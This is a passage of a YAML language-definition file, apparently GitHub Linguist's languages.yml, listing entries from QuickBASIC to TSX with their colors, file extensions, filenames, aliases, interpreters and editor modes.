source.quakec\n  language_id: 472308069\nQuickBASIC:\n  type: programming\n  color: \"#008080\"\n  extensions:\n  - \".bas\"\n  - \".bi\"\n  tm_scope: source.QB64\n  aliases:\n  - qb\n  - qbasic\n  - qb64\n  - classic qbasic\n  - classic quickbasic\n  ace_mode: text\n  codemirror_mode: vb\n  codemirror_mime_type: text/x-vb\n  language_id: 593107205\nR:\n  type: programming\n  color: \"#198CE7\"\n  aliases:\n  - Rscript\n  - splus\n  extensions:\n  - \".r\"\n  - \".rd\"\n  - \".rsx\"\n  filenames:\n  - \".Rprofile\"\n  - expr-dist\n  interpreters:\n  - Rscript\n  tm_scope: source.r\n  ace_mode: r\n  codemirror_mode: r\n  codemirror_mime_type: text/x-rsrc\n  language_id: 307\nRAML:\n  type: markup\n  ace_mode: yaml\n  codemirror_mode: yaml\n  codemirror_mime_type: text/x-yaml\n  tm_scope: source.yaml\n  color: \"#77d9fb\"\n  extensions:\n  - \".raml\"\n  language_id: 308\nRAScript:\n  type: programming\n  ace_mode: text\n  extensions:\n  - \".rascript\"\n  tm_scope: source.rascript\n  color: \"#2C97FA\"\n  language_id: 601118790\nRBS:\n  type: data\n  ace_mode: ruby\n  codemirror_mode: ruby\n  codemirror_mime_type: text/x-ruby\n  extensions:\n  - \".rbs\"\n  color: \"#701516\"\n  tm_scope: source.rbs\n  group: Ruby\n  language_id: 899227493\nRDoc:\n  type: prose\n  color: \"#701516\"\n  ace_mode: rdoc\n  wrap: true\n  extensions:\n  - \".rdoc\"\n  tm_scope: text.rdoc\n  language_id: 309\nREALbasic:\n  type: programming\n  extensions:\n  - \".rbbas\"\n  - \".rbfrm\"\n  - \".rbmnu\"\n  - \".rbres\"\n  - \".rbtbar\"\n  - \".rbuistate\"\n  tm_scope: source.vbnet\n  ace_mode: text\n  language_id: 310\nREXX:\n  type: programming\n  color: \"#d90e09\"\n  aliases:\n  - arexx\n  extensions:\n  - \".rexx\"\n  - \".pprx\"\n  - \".rex\"\n  interpreters:\n  - regina\n  - rexx\n  tm_scope: source.rexx\n  ace_mode: text\n  language_id: 311\nRMarkdown:\n  type: prose\n  color: \"#198ce7\"\n  wrap: true\n  ace_mode: markdown\n  codemirror_mode: gfm\n  codemirror_mime_type: text/x-gfm\n  extensions:\n  - \".qmd\"\n  - \".rmd\"\n  tm_scope: text.md\n  language_id: 313\nRON:\n  type: data\n  color: \"#a62c00\"\n  extensions:\n  - \".ron\"\n  ace_mode: rust\n  tm_scope: source.ron\n  language_id: 587855233\nROS Interface:\n  type: data\n  color: \"#22314e\"\n  aliases:\n  - rosmsg\n  ace_mode: text\n  extensions:\n  - \".msg\"\n  - \".action\"\n  - \".srv\"\n  tm_scope: source.rosmsg\n  language_id: 809230569\nRPC:\n  type: programming\n  aliases:\n  - rpcgen\n  - oncrpc\n  - xdr\n  ace_mode: c_cpp\n  extensions:\n  - \".x\"\n  tm_scope: source.c\n  language_id: 1031374237\nRPGLE:\n  type: programming\n  ace_mode: text\n  color: \"#2BDE21\"\n  aliases:\n  - ile rpg\n  - sqlrpgle\n  extensions:\n  - \".rpgle\"\n  - \".sqlrpgle\"\n  tm_scope: source.rpgle\n  language_id: 609977990\nRPM Spec:\n  type: data\n  tm_scope: source.rpm-spec\n  extensions:\n  - \".spec\"\n  aliases:\n  - specfile\n  ace_mode: text\n  codemirror_mode: rpm\n  codemirror_mime_type: text/x-rpm-spec\n  language_id: 314\nRUNOFF:\n  type: markup\n  color: \"#665a4e\"\n  extensions:\n  - \".rnh\"\n  - \".rno\"\n  wrap: true\n  tm_scope: text.runoff\n  ace_mode: text\n  language_id: 315\nRacket:\n  type: programming\n  color: \"#3c5caa\"\n  extensions:\n  - \".rkt\"\n  - \".rktd\"\n  - \".rktl\"\n  - \".scrbl\"\n  interpreters:\n  - racket\n  tm_scope: source.racket\n  ace_mode: lisp\n  language_id: 316\nRagel:\n  type: programming\n  color: \"#9d5200\"\n  extensions:\n  - \".rl\"\n  aliases:\n  - ragel-rb\n  - ragel-ruby\n  tm_scope: none\n  ace_mode: text\n  language_id: 317\nRaku:\n  type: programming\n  color: \"#0000fb\"\n  extensions:\n  - \".6pl\"\n  - \".6pm\"\n  - \".nqp\"\n  - \".p6\"\n  - \".p6l\"\n  - \".p6m\"\n  - \".pl\"\n  - \".pl6\"\n  - \".pm\"\n  - \".pm6\"\n  - \".raku\"\n  - \".rakumod\"\n  - \".t\"\n  interpreters:\n  - perl6\n  - raku\n  - rakudo\n  aliases:\n  - perl6\n  - perl-6\n  tm_scope: source.raku\n  ace_mode: raku\n  codemirror_mode: perl\n  codemirror_mime_type: text/x-perl\n  language_id: 283\nRascal:\n  type: programming\n  color: \"#fffaa0\"\n  extensions:\n  - \".rsc\"\n  tm_scope: source.rascal\n  ace_mode: text\n  language_id: 173616037\nRaw token data:\n  type: data\n  aliases:\n  - raw\n  extensions:\n  - \".raw\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 318\nReScript:\n  type: programming\n  color: \"#ed5051\"\n  ace_mode: rust\n  codemirror_mode: rust\n  codemirror_mime_type: text/x-rustsrc\n  extensions:\n  - \".res\"\n  - \".resi\"\n  interpreters:\n  - ocaml\n  tm_scope: source.rescript\n  language_id: 501875647\nReadline Config:\n  type: data\n  group: INI\n  aliases:\n  - inputrc\n  - readline\n  filenames:\n  - \".inputrc\"\n  - inputrc\n  tm_scope: source.inputrc\n  ace_mode: text\n  language_id: 538732839\nReason:\n  type: programming\n  color: \"#ff5847\"\n  ace_mode: rust\n  codemirror_mode: rust\n  codemirror_mime_type: text/x-rustsrc\n  extensions:\n  - \".re\"\n  - \".rei\"\n  tm_scope: source.reason\n  language_id: 869538413\nReasonLIGO:\n  type: programming\n  color: \"#ff5847\"\n  ace_mode: rust\n  codemirror_mode: rust\n  codemirror_mime_type: text/x-rustsrc\n  group: LigoLANG\n  extensions:\n  - \".religo\"\n  tm_scope: source.religo\n  language_id: 319002153\nRebol:\n  type: programming\n  color: \"#358a5b\"\n  extensions:\n  - \".reb\"\n  - \".r\"\n  - \".r2\"\n  - \".r3\"\n  - \".rebol\"\n  ace_mode: text\n  tm_scope: source.rebol\n  language_id: 319\nRecord Jar:\n  type: data\n  filenames:\n  - language-subtag-registry.txt\n  tm_scope: source.record-jar\n  codemirror_mode: properties\n  codemirror_mime_type: text/x-properties\n  ace_mode: text\n  color: \"#0673ba\"\n  language_id: 865765202\nRed:\n  type: programming\n  color: \"#f50000\"\n  extensions:\n  - \".red\"\n  - \".reds\"\n  aliases:\n  - red/system\n  tm_scope: source.red\n  ace_mode: red\n  language_id: 320\nRedcode:\n  type: programming\n  extensions:\n  - \".cw\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 321\nRedirect Rules:\n  type: data\n  aliases:\n  - redirects\n  filenames:\n  - _redirects\n  tm_scope: source.redirects\n  ace_mode: text\n  language_id: 1020148948\nRegular Expression:\n  type: data\n  color: \"#009a00\"\n  extensions:\n  - \".regexp\"\n  - \".regex\"\n  aliases:\n  - regexp\n  - regex\n  ace_mode: text\n  tm_scope: source.regexp\n  language_id: 363378884\nRen'Py:\n  type: programming\n  aliases:\n  - renpy\n  color: \"#ff7f7f\"\n  extensions:\n  - \".rpy\"\n  tm_scope: source.renpy\n  ace_mode: python\n  language_id: 322\nRenderScript:\n  type: programming\n  extensions:\n  - \".rs\"\n  - \".rsh\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 323\nRez:\n  type: programming\n  extensions:\n  - \".r\"\n  tm_scope: source.rez\n  ace_mode: text\n  color: \"#FFDAB3\"\n  language_id: 498022874\nRich Text Format:\n  type: markup\n  extensions:\n  - \".rtf\"\n  tm_scope: text.rtf\n  ace_mode: text\n  language_id: 51601661\nRing:\n  type: programming\n  color: \"#2D54CB\"\n  extensions:\n  - \".ring\"\n  tm_scope: source.ring\n  ace_mode: text\n  language_id: 431\nRiot:\n  type: markup\n  color: \"#A71E49\"\n  ace_mode: html\n  extensions:\n  - \".riot\"\n  tm_scope: text.html.riot\n  language_id: 878396783\nRobotFramework:\n  type: programming\n  color: \"#00c0b5\"\n  extensions:\n  - \".robot\"\n  - \".resource\"\n  tm_scope: text.robot\n  ace_mode: robot\n  language_id: 324\nRoc:\n  type: programming\n  color: \"#7c38f5\"\n  extensions:\n  - \".roc\"\n  tm_scope: source.roc\n  ace_mode: text\n  language_id: 440182480\nRocq Prover:\n  type: programming\n  color: \"#d0b68c\"\n  extensions:\n  - \".v\"\n  - \".coq\"\n  aliases:\n  - coq\n  - rocq\n  tm_scope: source.coq\n  ace_mode: text\n  language_id: 69\nRoff:\n  type: markup\n  color: \"#ecdebe\"\n  extensions:\n  - \".roff\"\n  - \".1\"\n  - \".1in\"\n  - \".1m\"\n  - \".1x\"\n  - \".2\"\n  - \".3\"\n  - \".3in\"\n  - \".3m\"\n  - \".3p\"\n  - \".3pm\"\n  - \".3qt\"\n  - \".3x\"\n  - \".4\"\n  - \".5\"\n  - \".6\"\n  - \".7\"\n  - \".8\"\n  - \".9\"\n  - \".l\"\n  - \".man\"\n  - \".mdoc\"\n  - \".me\"\n  - \".ms\"\n  - \".n\"\n  - \".nr\"\n  - \".rno\"\n  - \".tmac\"\n  filenames:\n  - eqnrc\n  - mmn\n  - mmt\n  - troffrc\n  - troffrc-end\n  tm_scope: text.roff\n  aliases:\n  - groff\n  - man\n  - manpage\n  - man page\n  - man-page\n  - mdoc\n  - nroff\n  - troff\n  wrap: true\n  ace_mode: text\n  codemirror_mode: troff\n  codemirror_mime_type: text/troff\n  language_id: 141\nRoff Manpage:\n  type: markup\n  color: \"#ecdebe\"\n  group: Roff\n  extensions:\n  - \".1\"\n  - \".1in\"\n  - \".1m\"\n  - \".1x\"\n  - \".2\"\n  - \".3\"\n  - \".3in\"\n  - \".3m\"\n  - \".3p\"\n  - \".3pm\"\n  - \".3qt\"\n  - \".3x\"\n  - \".4\"\n  - \".5\"\n  - \".6\"\n  - \".7\"\n  - \".8\"\n  - \".9\"\n  - \".man\"\n  - \".mdoc\"\n  wrap: true\n  tm_scope: text.roff\n  ace_mode: text\n  codemirror_mode: troff\n  codemirror_mime_type: text/troff\n  language_id: 612669833\nRouge:\n  type: programming\n  ace_mode: clojure\n  codemirror_mode: clojure\n  codemirror_mime_type: text/x-clojure\n  color: \"#cc0088\"\n  extensions:\n  - \".rg\"\n  tm_scope: source.clojure\n  language_id: 325\nRouterOS Script:\n  type: programming\n  ace_mode: text\n  extensions:\n  - \".rsc\"\n  interpreters:\n  - RouterOS\n  color: \"#DE3941\"\n  tm_scope: none\n  language_id: 592853203\nRuby:\n  type: programming\n  tm_scope: source.ruby\n  ace_mode: ruby\n  codemirror_mode: ruby\n  codemirror_mime_type: text/x-ruby\n  color: \"#701516\"\n  aliases:\n  - jruby\n  - macruby\n  - rake\n  - rb\n  - rbx\n  extensions:\n  - \".rb\"\n  - \".builder\"\n  - \".eye\"\n  - \".fcgi\"\n  - \".gemspec\"\n  - \".god\"\n  - \".jbuilder\"\n  - \".mspec\"\n  - \".pluginspec\"\n  - \".podspec\"\n  - \".prawn\"\n  - \".rabl\"\n  - \".rake\"\n  - \".rbi\"\n  - \".rbuild\"\n  - \".rbw\"\n  - \".rbx\"\n  - \".ru\"\n  - \".ruby\"\n  - \".spec\"\n  - \".thor\"\n  - \".watchr\"\n  interpreters:\n  - ruby\n  - macruby\n  - rake\n  - jruby\n  - rbx\n  filenames:\n  - \".irbrc\"\n  - \".pryrc\"\n  - \".simplecov\"\n  - Appraisals\n  - Berksfile\n  - Brewfile\n  - Buildfile\n  - Capfile\n  - Dangerfile\n  - Deliverfile\n  - Fastfile\n  - Gemfile\n  - Guardfile\n  - Jarfile\n  - Mavenfile\n  - Podfile\n  - Puppetfile\n  - Rakefile\n  - Snapfile\n  - Steepfile\n  - Thorfile\n  - Vagrantfile\n  - buildfile\n  language_id: 326\nRust:\n  type: programming\n  aliases:\n  - rs\n  color: \"#dea584\"\n  extensions:\n  - \".rs\"\n  - \".rs.in\"\n  tm_scope: source.rust\n  ace_mode: rust\n  codemirror_mode: rust\n  codemirror_mime_type: text/x-rustsrc\n  interpreters:\n  - rust-script\n  language_id: 327\nSAS:\n  type: programming\n  color: \"#B34936\"\n  extensions:\n  - \".sas\"\n  tm_scope: source.sas\n  ace_mode: text\n  codemirror_mode: sas\n  codemirror_mime_type: text/x-sas\n  language_id: 328\nSCSS:\n  type: markup\n  color: \"#c6538c\"\n  tm_scope: source.css.scss\n  ace_mode: scss\n  codemirror_mode: css\n  codemirror_mime_type: text/x-scss\n  extensions:\n  - \".scss\"\n  language_id: 329\nSELinux Policy:\n  aliases:\n  - SELinux Kernel Policy Language\n  - sepolicy\n  type: data\n  tm_scope: source.sepolicy\n  extensions:\n  - \".te\"\n  filenames:\n  - file_contexts\n  - genfs_contexts\n  - initial_sids\n  - port_contexts\n  - security_classes\n  ace_mode: text\n  language_id: 880010326\nSMT:\n  type: programming\n  extensions:\n  - \".smt2\"\n  - \".smt\"\n  - \".z3\"\n  interpreters:\n  - boolector\n  - cvc4\n  - mathsat5\n  - opensmt\n  - smtinterpol\n  - smt-rat\n  - stp\n  - verit\n  - yices2\n  - z3\n  tm_scope: source.smt\n  ace_mode: text\n  language_id: 330\nSPARQL:\n  type: data\n  color: \"#0C4597\"\n  tm_scope: source.sparql\n  ace_mode: sparql\n  codemirror_mode: sparql\n  codemirror_mime_type: application/sparql-query\n  extensions:\n  - \".sparql\"\n  - \".rq\"\n  language_id: 331\nSQF:\n  type: programming\n  color: \"#3F3F3F\"\n  extensions:\n  - \".sqf\"\n  - \".hqf\"\n  tm_scope: source.sqf\n  ace_mode: text\n  language_id: 332\nSQL:\n  type: data\n  color: \"#e38c00\"\n  tm_scope: source.sql\n  ace_mode: sql\n  codemirror_mode: sql\n  codemirror_mime_type: text/x-sql\n  extensions:\n  - \".sql\"\n  - \".ddl\"\n  - \".inc\"\n  - \".mysql\"\n  - \".prc\"\n  - \".tab\"\n  - \".udf\"\n  - \".viw\"\n  language_id: 333\nSQLPL:\n  type: programming\n  color: \"#e38c00\"\n  ace_mode: sql\n  codemirror_mode: sql\n  codemirror_mime_type: text/x-sql\n  tm_scope: source.sql\n  extensions:\n  - \".sql\"\n  - \".db2\"\n  language_id: 334\nSRecode Template:\n  type: markup\n  color: \"#348a34\"\n  tm_scope: source.lisp\n  ace_mode: lisp\n  codemirror_mode: commonlisp\n  codemirror_mime_type: text/x-common-lisp\n  extensions:\n  - \".srt\"\n  language_id: 335\nSSH Config:\n  type: data\n  group: INI\n  aliases:\n  - sshconfig\n  - sshdconfig\n  - ssh_config\n  - sshd_config\n  filenames:\n  - ssh-config\n  - ssh_config\n  - sshconfig\n  - sshconfig.snip\n  - sshd-config\n  - sshd_config\n  ace_mode: text\n  tm_scope: source.ssh-config\n  language_id: 554920715\nSTAR:\n  type: data\n  extensions:\n  - \".star\"\n  tm_scope: source.star\n  ace_mode: text\n  language_id: 424510560\nSTL:\n  type: data\n  color: \"#373b5e\"\n  aliases:\n  - ascii stl\n  - stla\n  extensions:\n  - \".stl\"\n  tm_scope: source.stl\n  ace_mode: text\n  language_id: 455361735\nSTON:\n  type: data\n  group: Smalltalk\n  extensions:\n  - \".ston\"\n  tm_scope: source.smalltalk\n  ace_mode: text\n  language_id: 336\nSVG:\n  type: data\n  color: \"#ff9900\"\n  extensions:\n  - \".svg\"\n  tm_scope: text.xml.svg\n  ace_mode: svg\n  codemirror_mode: xml\n  codemirror_mime_type: text/xml\n  language_id: 337\nSWIG:\n  type: programming\n  extensions:\n  - \".i\"\n  - \".swg\"\n  - \".swig\"\n  tm_scope: source.c++\n  ace_mode: c_cpp\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-c++src\n  language_id: 1066250075\nSage:\n  type: programming\n  extensions:\n  - \".sage\"\n  - \".sagews\"\n  tm_scope: source.python\n  ace_mode: python\n  codemirror_mode: python\n  codemirror_mime_type: text/x-python\n  language_id: 338\nSail:\n  type: programming\n  color: \"#259dd5\"\n  ace_mode: text\n  extensions:\n  - \".sail\"\n  tm_scope: source.sail\n  language_id: 1029438153\nSaltStack:\n  type: programming\n  color: \"#646464\"\n  aliases:\n  - saltstate\n  - salt\n  extensions:\n  - \".sls\"\n  tm_scope: source.yaml.salt\n  ace_mode: yaml\n  codemirror_mode: yaml\n  codemirror_mime_type: text/x-yaml\n  language_id: 339\nSass:\n  type: markup\n  color: \"#a53b70\"\n  tm_scope: source.sass\n  extensions:\n  - \".sass\"\n  ace_mode: sass\n  codemirror_mode: sass\n  codemirror_mime_type: text/x-sass\n  language_id: 340\nScala:\n  type: programming\n  tm_scope: source.scala\n  ace_mode: scala\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-scala\n  color: \"#c22d40\"\n  extensions:\n  - \".scala\"\n  - \".kojo\"\n  - \".sbt\"\n  - \".sc\"\n  interpreters:\n  - scala\n  language_id: 341\nScaml:\n  type: markup\n  color: \"#bd181a\"\n  extensions:\n  - \".scaml\"\n  tm_scope: source.scaml\n  ace_mode: text\n  language_id: 342\nScenic:\n  type: programming\n  color: \"#fdc700\"\n  extensions:\n  - \".scenic\"\n  tm_scope: source.scenic\n  ace_mode: text\n  interpreters:\n  - scenic\n  language_id: 619814037\nScheme:\n  type: programming\n  color: \"#1e4aec\"\n  extensions:\n  - \".scm\"\n  - \".sch\"\n  - \".sld\"\n  - \".sls\"\n  - \".sps\"\n  - \".ss\"\n  interpreters:\n  - scheme\n  - guile\n  - bigloo\n  - chicken\n  - csi\n  - gosh\n  - r6rs\n  tm_scope: source.scheme\n  ace_mode: scheme\n  codemirror_mode: scheme\n  codemirror_mime_type: text/x-scheme\n  language_id: 343\nScilab:\n  type: programming\n  color: \"#ca0f21\"\n  extensions:\n  - \".sci\"\n  - \".sce\"\n  - \".tst\"\n  tm_scope: source.scilab\n  ace_mode: text\n  language_id: 344\nSelf:\n  type: programming\n  color: \"#0579aa\"\n  extensions:\n  - \".self\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 345\nShaderLab:\n  type: programming\n  color: \"#222c37\"\n  extensions:\n  - \".shader\"\n  ace_mode: text\n  tm_scope: source.shaderlab\n  language_id: 664257356\nShell:\n  type: programming\n  color: \"#89e051\"\n  aliases:\n  - sh\n  - shell-script\n  - bash\n  - zsh\n  - envrc\n  extensions:\n  - \".sh\"\n  - \".bash\"\n  - \".bats\"\n  - \".cgi\"\n  - \".command\"\n  - \".fcgi\"\n  - \".ksh\"\n  - \".sbatch\"\n  - \".sh.in\"\n  - \".slurm\"\n  - \".tmux\"\n  - \".tool\"\n  - \".trigger\"\n  - \".zsh\"\n  - \".zsh-theme\"\n  filenames:\n  - \".bash_aliases\"\n  - \".bash_functions\"\n  - \".bash_history\"\n  - \".bash_logout\"\n  - \".bash_profile\"\n  - \".bashrc\"\n  - \".cshrc\"\n  - \".envrc\"\n  - \".flaskenv\"\n  - \".kshrc\"\n  - \".login\"\n  - \".profile\"\n  - \".tmux.conf\"\n  - \".xinitrc\"\n  - \".xsession\"\n  - \".zlogin\"\n  - \".zlogout\"\n  - \".zprofile\"\n  - \".zshenv\"\n  - \".zshrc\"\n  - 9fs\n  - PKGBUILD\n  - bash_aliases\n  - bash_logout\n  - bash_profile\n  - bashrc\n  - cshrc\n  - gradlew\n  - kshrc\n  - login\n  - man\n  - mvnw\n  - profile\n  - tmux.conf\n  - xinitrc\n  - xsession\n  - zlogin\n  - zlogout\n  - zprofile\n  - zshenv\n  - zshrc\n  interpreters:\n  - ash\n  - bash\n  - dash\n  - ksh\n  - mksh\n  - pdksh\n  - rc\n  - sh\n  - zsh\n  tm_scope: source.shell\n  ace_mode: sh\n  codemirror_mode: shell\n  codemirror_mime_type: text/x-sh\n  language_id: 346\nShellCheck Config:\n  type: data\n  color: \"#cecfcb\"\n  filenames:\n  - \".shellcheckrc\"\n  aliases:\n  - shellcheckrc\n  tm_scope: source.shellcheckrc\n  ace_mode: ini\n  codemirror_mode: properties\n  codemirror_mime_type: text/x-properties\n  language_id: 687511714\nShellSession:\n  type: programming\n  extensions:\n  - \".sh-session\"\n  aliases:\n  - bash session\n  - console\n  tm_scope: text.shell-session\n  ace_mode: sh\n  codemirror_mode: shell\n  codemirror_mime_type: text/x-sh\n  language_id: 347\nShen:\n  type: programming\n  color: \"#120F14\"\n  extensions:\n  - \".shen\"\n  tm_scope: source.shen\n  ace_mode: text\n  language_id: 348\nSieve:\n  type: programming\n  tm_scope: source.sieve\n  ace_mode: text\n  extensions:\n  - \".sieve\"\n  codemirror_mode: sieve\n  codemirror_mime_type: application/sieve\n  language_id: 208976687\nSimple File Verification:\n  type: data\n  group: Checksums\n  color: \"#C9BFED\"\n  extensions:\n  - \".sfv\"\n  aliases:\n  - sfv\n  tm_scope: source.sfv\n  ace_mode: ini\n  codemirror_mode: properties\n  codemirror_mime_type: text/x-properties\n  language_id: 735623761\nSingularity:\n  type: programming\n  color: \"#64E6AD\"\n  tm_scope: source.singularity\n  filenames:\n  - Singularity\n  ace_mode: text\n  language_id: 987024632\nSlang:\n  type: programming\n  color: \"#1fbec9\"\n  extensions:\n  - \".slang\"\n  tm_scope: source.slang\n  ace_mode: text\n  language_id: 239357863\nSlash:\n  type: programming\n  color: \"#007eff\"\n  extensions:\n  - \".sl\"\n  tm_scope: text.html.slash\n  ace_mode: text\n  language_id: 349\nSlice:\n  type: programming\n  color: \"#003fa2\"\n  tm_scope: source.ice\n  ace_mode: text\n  extensions:\n  - \".ice\"\n  language_id: 894641667\nSlim:\n  type: markup\n  color: \"#2b2b2b\"\n  extensions:\n  - \".slim\"\n  tm_scope: text.slim\n  ace_mode: slim\n  codemirror_mode: slim\n  codemirror_mime_type: text/x-slim\n  language_id: 350\nSlint:\n  type: markup\n  color: \"#2379F4\"\n  extensions:\n  - \".slint\"\n  tm_scope: source.slint\n  ace_mode: text\n  language_id: 119900149\nSmPL:\n  type: programming\n  extensions:\n  - \".cocci\"\n  aliases:\n  - coccinelle\n  ace_mode: text\n  tm_scope: source.smpl\n  color: \"#c94949\"\n  language_id: 164123055\nSmali:\n  type: programming\n  extensions:\n  - \".smali\"\n  ace_mode: text\n  tm_scope: source.smali\n  language_id: 351\nSmalltalk:\n  type: programming\n  color: \"#596706\"\n  extensions:\n  - \".st\"\n  - \".cs\"\n  aliases:\n  - squeak\n  tm_scope: source.smalltalk\n  ace_mode: text\n  codemirror_mode: smalltalk\n  codemirror_mime_type: text/x-stsrc\n  language_id: 352\nSmarty:\n  type: programming\n  color: \"#f0c040\"\n  extensions:\n  - \".tpl\"\n  ace_mode: smarty\n  codemirror_mode: smarty\n  codemirror_mime_type: text/x-smarty\n  tm_scope: text.html.smarty\n  language_id: 353\nSmithy:\n  type: programming\n  ace_mode: smithy\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-csrc\n  tm_scope: source.smithy\n  color: \"#c44536\"\n  extensions:\n  - \".smithy\"\n  language_id: 1027892786\nSnakemake:\n  type: programming\n  group: Python\n  tm_scope: source.python\n  ace_mode: python\n  codemirror_mode: python\n  codemirror_mime_type: text/x-python\n  color: \"#419179\"\n  extensions:\n  - \".smk\"\n  - \".snakefile\"\n  filenames:\n  - Snakefile\n  aliases:\n  - snakefile\n  language_id: 151241392\nSolidity:\n  type: programming\n  color: \"#AA6746\"\n  ace_mode: text\n  tm_scope: source.solidity\n  extensions:\n  - \".sol\"\n  language_id: 237469032\nSoong:\n  type: data\n  tm_scope: source.bp\n  ace_mode: text\n  filenames:\n  - Android.bp\n  language_id: 222900098\nSourcePawn:\n  type: programming\n  color: \"#f69e1d\"\n  aliases:\n  - sourcemod\n  extensions:\n  - \".sp\"\n  - \".inc\"\n  tm_scope: source.sourcepawn\n  ace_mode: text\n  language_id: 354\nSpline Font Database:\n  type: data\n  extensions:\n  - \".sfd\"\n  tm_scope: text.sfd\n  ace_mode: yaml\n  language_id: 767169629\nSquirrel:\n  type: programming\n  color: \"#800000\"\n  extensions:\n  - \".nut\"\n  tm_scope: source.nut\n  ace_mode: c_cpp\n  codemirror_mode: clike\n  codemirror_mime_type: text/x-squirrel\n  language_id: 355\nStan:\n  type: programming\n  color: \"#b2011d\"\n  extensions:\n  - \".stan\"\n  ace_mode: text\n  tm_scope: source.stan\n  language_id: 356\nStandard ML:\n  type: programming\n  color: \"#dc566d\"\n  aliases:\n  - sml\n  extensions:\n  - \".ml\"\n  - \".fun\"\n  - \".sig\"\n  - \".sml\"\n  tm_scope: source.ml\n  ace_mode: text\n  codemirror_mode: mllike\n  codemirror_mime_type: text/x-sml\n  language_id: 357\nStarlark:\n  type: programming\n  tm_scope: source.python\n  ace_mode: python\n  codemirror_mode: python\n  codemirror_mime_type: text/x-python\n  color: \"#76d275\"\n  extensions:\n  - \".bzl\"\n  - \".star\"\n  filenames:\n  - BUCK\n  - BUILD\n  - BUILD.bazel\n  - MODULE.bazel\n  - Tiltfile\n  - WORKSPACE\n  - WORKSPACE.bazel\n  - WORKSPACE.bzlmod\n  aliases:\n  - bazel\n  - bzl\n  language_id: 960266174\nStata:\n  type: programming\n  color: \"#1a5f91\"\n  extensions:\n  - \".do\"\n  - \".ado\"\n  - \".doh\"\n  - \".ihlp\"\n  - \".mata\"\n  - \".matah\"\n  - \".sthlp\"\n  tm_scope: source.stata\n  ace_mode: text\n  language_id: 358\nStringTemplate:\n  type: markup\n  color: \"#3fb34f\"\n  extensions:\n  - \".st\"\n  tm_scope: source.string-template\n  ace_mode: html\n  codemirror_mode: htmlmixed\n  codemirror_mime_type: text/html\n  language_id: 89855901\nStylus:\n  type: markup\n  color: \"#ff6347\"\n  extensions:\n  - \".styl\"\n  tm_scope: source.stylus\n  ace_mode: stylus\n  codemirror_mode: stylus\n  codemirror_mime_type: text/x-styl\n  language_id: 359\nSubRip Text:\n  type: data\n  color: \"#9e0101\"\n  extensions:\n  - \".srt\"\n  ace_mode: text\n  tm_scope: text.srt\n  language_id: 360\nSugarSS:\n  type: markup\n  color: \"#2fcc9f\"\n  tm_scope: source.css.postcss.sugarss\n  extensions:\n  - \".sss\"\n  ace_mode: text\n  language_id: 826404698\nSuperCollider:\n  type: programming\n  color: \"#46390b\"\n  extensions:\n  - \".sc\"\n  - \".scd\"\n  interpreters:\n  - sclang\n  - scsynth\n  tm_scope: source.supercollider\n  ace_mode: text\n  language_id: 361\nSurrealQL:\n  type: programming\n  color: \"#ff00a0\"\n  aliases:\n  - surql\n  extensions:\n  - \".surql\"\n  ace_mode: text\n  tm_scope: source.surrealql\n  language_id: 735141027\nSurvex data:\n  type: data\n  color: \"#ffcc99\"\n  tm_scope: none\n  ace_mode: text\n  extensions:\n  - \".svx\"\n  language_id: 24470517\nSvelte:\n  type: markup\n  color: \"#ff3e00\"\n  tm_scope: source.svelte\n  ace_mode: html\n  codemirror_mode: htmlmixed\n  codemirror_mime_type: text/html\n  extensions:\n  - \".svelte\"\n  language_id: 928734530\nSway:\n  type: programming\n  color: \"#00F58C\"\n  extensions:\n  - \".sw\"\n  tm_scope: source.sway\n  ace_mode: rust\n  codemirror_mode: rust\n  codemirror_mime_type: text/x-rustsrc\n  language_id: 271471144\nSweave:\n  type: prose\n  color: \"#198ce7\"\n  extensions:\n  - \".rnw\"\n  tm_scope: text.tex.latex.sweave\n  ace_mode: tex\n  language_id: 558779190\nSwift:\n  type: programming\n  color: \"#F05138\"\n  extensions:\n  - \".swift\"\n  tm_scope: source.swift\n  ace_mode: swift\n  codemirror_mode: swift\n  codemirror_mime_type: text/x-swift\n  language_id: 362\nSystemVerilog:\n  type: programming\n  color: \"#DAE1C2\"\n  extensions:\n  - \".sv\"\n  - \".svh\"\n  - \".vh\"\n  tm_scope: source.systemverilog\n  ace_mode: verilog\n  codemirror_mode: verilog\n  codemirror_mime_type: text/x-systemverilog\n  language_id: 363\nTI Program:\n  type: programming\n  ace_mode: text\n  color: \"#A0AA87\"\n  extensions:\n  - \".8xp\"\n  - \".8xp.txt\"\n  language_id: 422\n  tm_scope: source.8xp\nTL-Verilog:\n  type: programming\n  extensions:\n  - \".tlv\"\n  tm_scope: source.tlverilog\n  ace_mode: verilog\n  color: \"#C40023\"\n  language_id: 118656070\nTLA:\n  type: programming\n  color: \"#4b0079\"\n  extensions:\n  - \".tla\"\n  tm_scope: source.tla\n  ace_mode: text\n  language_id: 364\nTMDL:\n  type: data\n  color: \"#f0c913\"\n  extensions:\n  - \".tmdl\"\n  aliases:\n  - \"Tabular Model Definition Language\"\n  tm_scope: source.tmdl\n  ace_mode: text\n  language_id: 769162295\nTOML:\n  type: data\n  color: \"#9c4221\"\n  extensions:\n  - \".toml\"\n  - \".toml.example\"\n  filenames:\n  - Cargo.lock\n  - Cargo.toml.orig\n  - Gopkg.lock\n  - Pipfile\n  - pdm.lock\n  - poetry.lock\n  - uv.lock\n  tm_scope: source.toml\n  ace_mode: toml\n  codemirror_mode: toml\n  codemirror_mime_type: text/x-toml\n  language_id: 365\nTSPLIB data:\n  aliases:\n  - travelling salesman problem\n  - traveling salesman problem\n  type: data\n  extensions:\n  - \".tsp\"\n  tm_scope: none\n  ace_mode: text\n  language_id: 89289301\nTSQL:\n  type: programming\n  color: \"#e38c00\"\n  extensions:\n  - \".sql\"\n  ace_mode: sql\n  tm_scope: source.tsql\n  language_id: 918334941\nTSV:\n  type: data\n  color: \"#237346\"\n  ace_mode: tsv\n  tm_scope: source.tsv\n  extensions:\n  - \".tsv\"\n  - \".vcf\"\n  aliases:\n  - tab-seperated values\n  language_id: 1035892117\nTSX:\n  type: programming\n  color: \"#3178c6\"\n  group: TypeScript\n  aliases:\n  - typescriptreact\n  extensions:\n  - \".tsx\"\n  tm_scope: source.tsx\n  ace_mode: tsx\n  codemirror_mode: jsx\n  codemirror_mime_type: text/typescript-jsx\n  